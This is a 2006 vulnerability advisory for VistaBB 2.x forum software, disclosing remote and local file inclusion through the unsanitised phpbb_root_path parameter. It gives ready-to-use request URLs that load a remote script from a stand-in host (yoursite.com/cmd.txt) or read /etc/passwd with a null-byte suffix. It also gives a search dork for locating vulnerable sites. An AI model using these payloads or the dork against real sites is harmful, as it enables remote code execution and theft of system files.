vistabb2x.txt

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--Security Report--  
Advisory: VistaBB <= 2.x Multiple File Inclusion Vulnerabilities  
---  
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI  
---  
Date: 24/08/06 03:00 AM   
---  
Contacts:{  
ICQ: 10072  
MSN/Email: [email protected]  
Web: http://www.nukedx.com  
}  
---  
Vendor: VistaBB (http://www.vistabb.net)  
Version: 2.033 and prior versions must be affected.  
About: Via this methods remote attacker can include arbitrary files to   
VistaBB.Variable phpbb_root_path did not sanitized properly before using it   
on includes/functions_mod_user.php and includes/functions_portal.php so   
remote attacker can include internal and external files to VistaBB  
For including internal files magic_quotes_gpc must be off on server settings   
because remote attacker needs to use null char at the end of filename.  
Eg: /etc/passwd%00  
Level: Highly Critical  
---  
How&Example:   
GET ->   
  
http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=[FILE]  
EXAMPLE ->   
  
http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=http://yoursite.com/cmd.txt?  
EXAMPLE ->   
  
http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=/etc/passwd%00   
<- mq off  
GET ->   
  
http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=[FILE]  
EXAMPLE ->   
  
http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?  
EXAMPLE ->   
  
http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00   
<- mq off  
---  
Timeline:  
* 24/08/2006: Vulnerability found.  
* 24/08/2006: Contacted with vendor and waiting reply  
---  
Exploit: http://www.nukedx.com/?getxpl=48  
---  
Original advisory can be found at: http://www.nukedx.com/?viewdoc=48  
---  
Dorks: "Powered by VistaBB"   
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